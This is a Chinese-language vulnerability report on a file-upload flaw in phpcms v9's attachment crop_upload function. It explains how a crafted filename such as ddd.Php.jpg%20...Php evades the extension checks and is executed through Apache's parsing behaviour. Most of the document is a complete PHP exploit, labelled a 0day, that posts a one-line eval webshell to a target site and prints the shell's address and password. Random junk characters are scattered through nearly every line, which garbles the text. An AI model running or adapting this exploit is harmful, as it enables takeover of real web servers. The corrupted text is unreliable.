漏洞类型: 文件上传导致任意代码执行; r0 X0 s& h! X- N: N) J7 l- @8 d
: |3 u5 \. k% q* _% \! T1 M
简要描述:
2 r ?9 i$ k+ k# m2 \' a2 g) ~
phpcms v9 getshell (apache)
0 A# }* A% H% B A% q详细说明:
U& X) V/ h1 [* z) y& D) r
* K4 T) O4 x6 \ H3 k漏洞文件:phpcms\modules\attachment\attachments.php; F9 l+ G" s8 e0 F# W0 Q8 e
1 T6 {6 J/ c/ C1 g+ r- w, l. E
public function crop_upload() { (isset($GLOBALS["HTTP_RAW_POST_DATA"])) { $pic = $GLOBALS["HTTP_RAW_POST_DATA"]; if (isset($_GET['width']) && !empty($_GET['width'])) { $width = intval($_GET['width']); } if (isset($_GET['height']) && !empty($_GET['height'])) { $height = intval($_GET['height']); } if (isset($_GET['file']) && !empty($_GET['file'])) { $_GET['file'] = str_replace(';','',$_GET['file']);//过滤了分号 if(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();//is_image()检测是个关键 if (strpos($_GET['file'], pc_base::load_config('system', 'upload_url'))!==false) { $file = $_GET['file']; $basenamebasename = basename($file);//获取带有后缀的文件名 if (strpos($basename, 'thumb_')!==false) { $file_arr = explode('_', $basename); $basename = array_pop($file_arr); } $new_file = 'thumb_'.$width.'_'.$height.'_'.$basename; } else { pc_base::load_sys_class('attachment','',0); $module = trim($_GET['module']); $catid = intval($_GET['catid']); $siteid = $this->get_siteid(); $attachment = new attachment($module, $catid, $siteid); $uploadedfile['filename'] = basename($_GET['file']); $uploadedfile['fileext'] = fileext($_GET['file']); if (in_array($uploadedfile['fileext'], array('jpg', 'gif', 'jpeg', 'png', 'bmp'))) { $uploadedfile['isimage'] = 1; } $file_path = $this->upload_path.date('Y/md/'); pc_base::load_sys_func('dir'); dir_create($file_path); $new_file = date('Ymdhis').rand(100, 999).'.'.$uploadedfile['fileext']; $uploadedfile['filepath'] = date('Y/md/').$new_file; $aid = $attachment->add($uploadedfile); } $filepath = date('Y/md/'); file_put_contents($this->upload_path.$filepath.$new_file, $pic);//文件名可控、$pic可控 } else { return false; } echo pc_base::load_config('system', 'upload_url').$filepath.$new_file; exit; } }
9 E3 a! \( g$ W* H6 G. U" c" f后缀检测:phpcms\modules\attachment\functions\global.func.php
+ U$ h8 L4 f9 {7 _& h/ X
* U+ R. W& j% O0 ?; P. ? # V, B% |8 m9 \. u! Q
. N5 L3 h: K4 c$ M/ E. l
function is_image($file) { $ext_arr = array('jpg','gif','png','bmp','jpeg','tiff'); $ext = fileext($file);关键地方 return in_array($ext,$ext_arr) ? $ext_arr :false; } `- O# Y# f& |( l$ k
$ u1 j( E1 O7 a& O* K关键函数:
: t$ z# l% e A, U
. i. e/ w F+ N3 P* h+ e 7 b* }/ u5 ~9 _! O0 L' M* ]
" I( ~* C. v% V" k2 tfunction fileext($filename) { return strtolower(trim(substr(strrchr($filename, '.'), 1, 10))); } , z# g0 f% x5 ~
' K' [: O! d5 H T
Fileext函数是对文件后缀名的提取。
p. Y9 I7 ]2 I" _) f根据此函数我们如果上传文件名为ddd.Php.jpg%20%20%20%20%20%20%20Php
6 a4 `7 x9 u! ^+ U X& b经过此函数提取到的后缀还是jpg,因此正在is_image()函数中后缀检测被绕过了。
5 b9 {3 i# Q/ q7 s我们回到public function crop_upload() 函数中0 ^/ Z3 f4 e) I: Y) R: j1 a! R) N
if(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();
0 F0 h0 N" A0 n2 y4 `在经过了is_image的判断之后又来了个.php的判断,在此程序员使用的是strpos函数
3 ?( E# ]& |' g8 k* D这个函数是对大小写敏感的函数我们使用.Php就可以直接绕过了。
" c8 }, a7 W- f# u经过上边的两层的过滤我们的ddd.Php.jpg%20%20%20%20%20%20%20Php后缀依然有效。
. ^; H! M6 W s# N) l最后$basename变量的值就为ddd.Php.jpg%20%20%20%20%20%20%20Php 然后使用file_put_contents函数写入到了指定目录。+ s3 L# o6 |, s$ |" T$ }: V6 G
看见ddd.Php.jpg%20%20%20%20%20%20%20Php这个后缀,大家应该明白了,它用在apache搭建的服务器上可以被解析。
6 \0 ^/ m$ Q* s* V. i A/ a3 }漏洞证明:
( {7 f7 ], n% X; ?1 x: [
: G' p G& V/ Nexp:
. s! _- G6 S5 s$ l$ ~# X8 A. C" l( T7 L
<?php8 x1 e5 J+ e( c. I
error_reporting(E_ERROR);
" y) ?" g# v9 r3 Xset_time_limit(0);
3 F5 ^' [, _9 |5 F$pass="ln";; V. {2 t' G7 D! n( a9 W/ A
print_r(') Q# {( c7 W3 s5 g: Y9 e8 w3 @
+---------------------------------------------------------------------------+
! m4 ~1 f; ^. q; U) e8 U( H1 F$ YPHPCms V9 GETSHELL 0DAY
7 w- U7 W6 \0 X+ s% ccode by L.N.
5 L9 N4 T7 i4 }( K* b% ?
( y) ^. V q. u/ d0 \apache 适用(利用的apache的解析漏洞) // 云安全 www.yunsec.net' x8 C' d1 B1 T+ p& G/ E) A. ?( R
+---------------------------------------------------------------------------+; g1 R% l! O/ _& o' V' Z) S
');) Z3 }: y3 M1 C/ h$ d
if ($argc < 2) {
+ {0 B$ S/ E: Mprint_r('3 _% {0 H5 D# C, E& D$ Q
+---------------------------------------------------------------------------+3 F1 o1 X# x& R0 h( Q
Usage: php '.$argv[0].' url path5 a( I3 A1 X3 V- E6 p
- h8 W1 z' R' c; oExample:8 q4 }: n' l4 [3 A3 k- f
1.php '.$argv[0].' lanu.sinaapp.com1 w3 u9 e N# |; I4 h* t; d ?1 C) O
2.php '.$argv[0].' lanu.sinaapp.com /phpcms( O8 r* j/ Q( t6 c9 s9 \5 F( a
+---------------------------------------------------------------------------+
: e3 @: I3 w% N5 D');
7 Z$ G- w X v; e% ]! W/ yexit;
9 r# u1 Z; m0 N8 B' S}" L; K4 }* a4 p( ]5 L5 X# @
' |. o, m6 v! e2 N
$url = $argv[1];3 [5 D' E7 i" y) l' H7 q# @
$path = $argv[2];
# b9 P6 l1 N K, y; H% F" O$phpshell = '<?php @eval($_POST[\''.$pass.'\']);?>';
2 T, v/ S$ O7 H- u, X$file = '1.thumb_.Php.JPG%20%20%20%20%20%20%20Php';( x- n6 r) N* Z! v d
if($ret=Create_dir($url,$path)) \" R: z' _ r! q+ c* g
{
/ O0 S$ Y, E+ H: p, e//echo $ret;: n( H8 L8 M* x- F' |( O
$pattern = "|Server:[^,]+?|U";
4 P" ~ q$ ^- i% \. a! V8 ]preg_match_all($pattern, $ret, $matches);
- P0 f! |4 a) F6 M& A& d C3 Nif($matches[0][0])3 _0 J; `+ O2 J' U
{$ m' V; w9 U2 C( Y8 B
if(strpos($matches[0][0],'Apache') == false); _# W) w, f: x' g5 I$ E/ A
{1 {6 C, P! x& B
echo "\n亲!此网站不是apache的网站。\n";exit;2 b6 t9 I |% C9 a
}
/ k- I* r) h' ?0 ]}1 g: u1 {# E6 m+ f
$ret = GetShell($url,$phpshell,$path,$file);
/ K8 ^" e1 K' B( s# `' N$pattern = "|http:\/\/[^,]+?\.,?|U";5 j+ O0 r& L" f" }) A7 f
preg_match_all($pattern, $ret, $matches);5 C5 T9 M5 c% \1 s/ V
if($matches[0][0])3 S9 e4 \1 W. ?% t2 F
{
! J6 g( P& _# V- a% x5 Uecho "\n".'密码为: '.$pass."\n";/ x/ a/ O$ |8 ?) N5 b
echo "\r\nurl地址: ".$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;0 N0 H+ ] s2 e& u7 _/ q9 t% U) W
}
E6 N1 [8 q0 h8 O4 Q' s0 Relse
3 T f8 u2 _3 m i n6 v1 b{
" i) O1 C( C6 R! |$pattern = "|\/uploadfile\/[^,]+?\.,?|U";1 i# H( J" B3 G6 A( h* G+ Y
preg_match_all($pattern, $ret, $matches);2 ?$ c& e k9 n8 b* M! p& Y& X
if($matches[0][0])" }, b3 r# K9 x/ V: U
{
5 v: x, S% e6 p7 K( K+ Eecho "\n".'密码为: '.$pass."\n";
! w6 K1 B, C. w: Hecho "\r\nurl地址:".'http://'.$url.$path.$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;
1 O) b8 Z5 d/ _7 |; O: d8 Z}
& ]& P3 b- \8 Z0 [8 `6 x$ Melse5 u/ R/ }( A9 F2 L" q
{
) `& K8 q" s: f$ @' c$ m' o5 I, Techo "\r\n没得到!\n";exit;7 I- g" @- M- y6 M. e9 O: x
}
8 _1 k. t& b! @; H( H$ o, h}2 u( P$ Z; \! {! n: V+ d1 A
}
* o' C1 } i3 u7 b" h! y" ^, y# _) ^6 L: s
function GetShell($url,$shell,$path,$js)5 W6 d% Q c: F1 W. l" X/ Z# }
{
- e2 _; q5 |& U8 W' G4 ~7 S$content =$shell;0 D4 J( g/ c9 Y( k, D4 C. m, T Q* u3 y
$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://".$url.$path."/uploadfile/".$js." HTTP/1.1\r\n"; H" t: p0 s' v, K* X& q+ ]
$data .= "Host: ".$url."\r\n";5 P) Z. i1 z) P6 S' D4 q2 @7 d
$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";+ |) U2 O1 o9 Z
$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
# y I5 N3 T& ?( z6 U! q8 C6 f# W$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";4 t& s* b+ k$ y' Q8 b. J
$data .= "Connection: close\r\n";
9 h' V+ H/ t4 Q7 \2 E# d9 P0 g$data .= "Content-Length: ".strlen($content)."\r\n\r\n";" W- I4 o; i2 i! C4 ~
$data .= $content."\r\n";) }/ X3 v8 B4 U/ V
$ock=fsockopen($url,80);
& h: M* L1 E; W ?if (!$ock)
`. T$ G! `1 ?& @- D) U{. A- Y$ T, h. j1 H1 f/ v
echo "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;1 k; _8 v; C% a
}/ ^+ z7 L/ ~! z3 v
else3 j- H* K1 r' F" r }$ \& r& S
{: f: L- N1 d$ y2 |; e Q5 ~6 J: o
fwrite($ock,$data);
3 g+ r* \7 a( R- ~/ J* _ k9 k$resp = '';; l: v! Y2 k, R' C0 D- E- B! b+ e
while (!feof($ock))" i" h* x, M7 Z5 q1 v! ]* h1 t
{
2 n4 O% W# F' c# ?( }0 D$resp.=fread($ock, 1024);
0 G! j6 L; @; A2 l" D}: z7 C7 {* }# _! z' p. U
return $resp;
- `6 z' i3 p7 Z8 T Q4 w}/ @* r& i/ c, {/ O
}9 I7 i8 x$ t9 t% Y; {' ]
3 K% A- r" O$ ^: S$ x+ I5 ^function Create_dir($url,$path='')
2 }8 N4 v# e. Q- H, f5 {1 J{
. e3 V% x' x5 S$ b# K( l$content ='I love you';0 f* u2 \" m$ t0 p( Y8 }; [
$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://lanu.sinaapp.com/1.jpg HTTP/1.1\r\n";
- r ]. S; b& S$data .= "Host: ".$url."\r\n";% W& T# E' X: K" b+ {
$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";
9 w5 E, n6 z2 S$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
* d, q* d9 T, [+ f" `$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";
2 [9 f6 w+ s! n( j/ ~: u' ]( E$data .= "Connection: close\r\n";9 P5 _1 B. Z1 {" b
$data .= "Content-Length: ".strlen($content)."\r\n\r\n";2 t0 T5 V7 `6 A" i
$data .= $content."\r\n";
/ Q: U! h% p( j$ock=fsockopen($url,80);
3 g. z1 X8 E2 t7 n4 pif (!$ock)
0 g( m1 c0 B. i2 {+ K{! z* V7 ~ t6 V; M* e; {
echo "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;
7 w( C( ]! N7 n/ l1 G( ~0 m1 X}* c( K! @$ P# q5 U8 D/ F" }. u
fwrite($ock,$data); ~. v ]# ^. a# A8 c- t% u7 X
$resp = '';2 p6 N4 c0 M* z$ y, v
while (!feof($ock))
' U) m* D( G2 [5 X{# r8 Y) T2 G+ t
$resp.=fread($ock, 1024);6 i9 l/ O3 x# T/ _6 u. U9 k
}
4 C" j3 H% t$ x# e* X `return $resp;
2 ~9 U7 w" C% G; h}
+ c" D) ]4 s. W, z2 O" b?>
' G2 n3 D4 r' B 3 a& a( s7 W. f: y
修复方案:
9 i' A) f5 U! h" z: P8 Z: d& g) p3 @6 _+ O
过滤过滤再过滤% r `/ s# k3 W3 S
& i! @! \ B9 L# a$ D, P7 \. ] |